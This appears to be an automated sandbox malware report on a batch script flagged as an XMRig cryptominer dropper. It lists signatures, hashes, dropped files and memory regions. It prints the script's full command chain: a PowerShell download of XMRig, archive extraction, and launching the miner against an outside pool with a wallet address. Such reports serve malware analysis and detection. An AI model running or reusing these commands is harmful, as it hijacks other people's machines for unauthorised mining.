Analysis

  • max time kernel
    891s
  • max time network
    890s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250313-en
  • resource tags

    arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28/03/2025, 10:14

General

  • Target

    script.bat

  • Size

    793B

  • MD5

    f29c7cf031f619739012fdbfa95bba54

  • SHA1

    ccddd138b2e91a4da65da97ec11f2dc661782e60

  • SHA256

    5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717

  • SHA512

    1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1792
    • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe
      xmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device3
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    5f4c933102a824f41e258078e34165a7

    SHA1

    d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

    SHA256

    d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

    SHA512

    a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b94a5f9c019b614942fc29d049e77006

    SHA1

    7d22a700e14c52c6ded2a26cc063057b779d5c2e

    SHA256

    ac01c39f1027c82f8d739b7a15c8fc17875bf33f3069f9acf0eb4a0d3b8803d7

    SHA512

    301825dd58920d02a28650c9bd9a43d36d5d896fa72b79b49792a868f2df4d419dd6fdfe245f544f8becaff9585e63050fe2e6979dbc35a592017423a392633e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nlg23u5v.0nm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Downloads\xmrig.zip

    Filesize

    3.6MB

    MD5

    5e48d84b33cc0ca0cdb29b03a875fd3a

    SHA1

    597660c787259fad45f0e69cbb64fb781333c598

    SHA256

    53b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f

    SHA512

    a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8

  • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe

    Filesize

    9.1MB

    MD5

    cb166d49ce846727ed70134b589b0142

    SHA1

    8f5e1c7792e9580f2b10d7bef6dc7e63ea044688

    SHA256

    49da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb

    SHA512

    a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed

  • memory/1792-32-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/1792-34-0x00000180F2520000-0x00000180F252A000-memory.dmp

    Filesize

    40KB

  • memory/1792-28-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/1792-57-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/1792-31-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/1792-33-0x00000180F2530000-0x00000180F2542000-memory.dmp

    Filesize

    72KB

  • memory/1792-30-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3416-9-0x000002316A8C0000-0x000002316A8E2000-memory.dmp

    Filesize

    136KB

  • memory/3416-0-0x00007FFEFD073000-0x00007FFEFD075000-memory.dmp

    Filesize

    8KB

  • memory/3416-11-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3416-10-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3416-12-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3416-13-0x00007FFEFD073000-0x00007FFEFD075000-memory.dmp

    Filesize

    8KB

  • memory/3416-14-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3416-18-0x00007FFEFD070000-0x00007FFEFDB32000-memory.dmp

    Filesize

    10.8MB

  • memory/3800-82-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-91-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-62-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-63-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-64-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-65-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-66-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-67-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-68-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-69-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-70-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-71-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-72-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-73-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-74-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-75-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-76-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-77-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-78-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-79-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-80-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-81-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-60-0x000001995B8B0000-0x000001995B8D0000-memory.dmp

    Filesize

    128KB

  • memory/3800-83-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-84-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-85-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-86-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-87-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-88-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-89-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-90-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-61-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-92-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-93-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-94-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-95-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-96-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-97-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-98-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-99-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-100-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-101-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-102-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-103-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-104-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-105-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-106-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-107-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-108-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-109-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-110-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-111-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-112-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-113-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-114-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-115-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-116-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-117-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-118-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-119-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-120-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-121-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-122-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB

  • memory/3800-123-0x00007FF736BE0000-0x00007FF737814000-memory.dmp

    Filesize

    12.2MB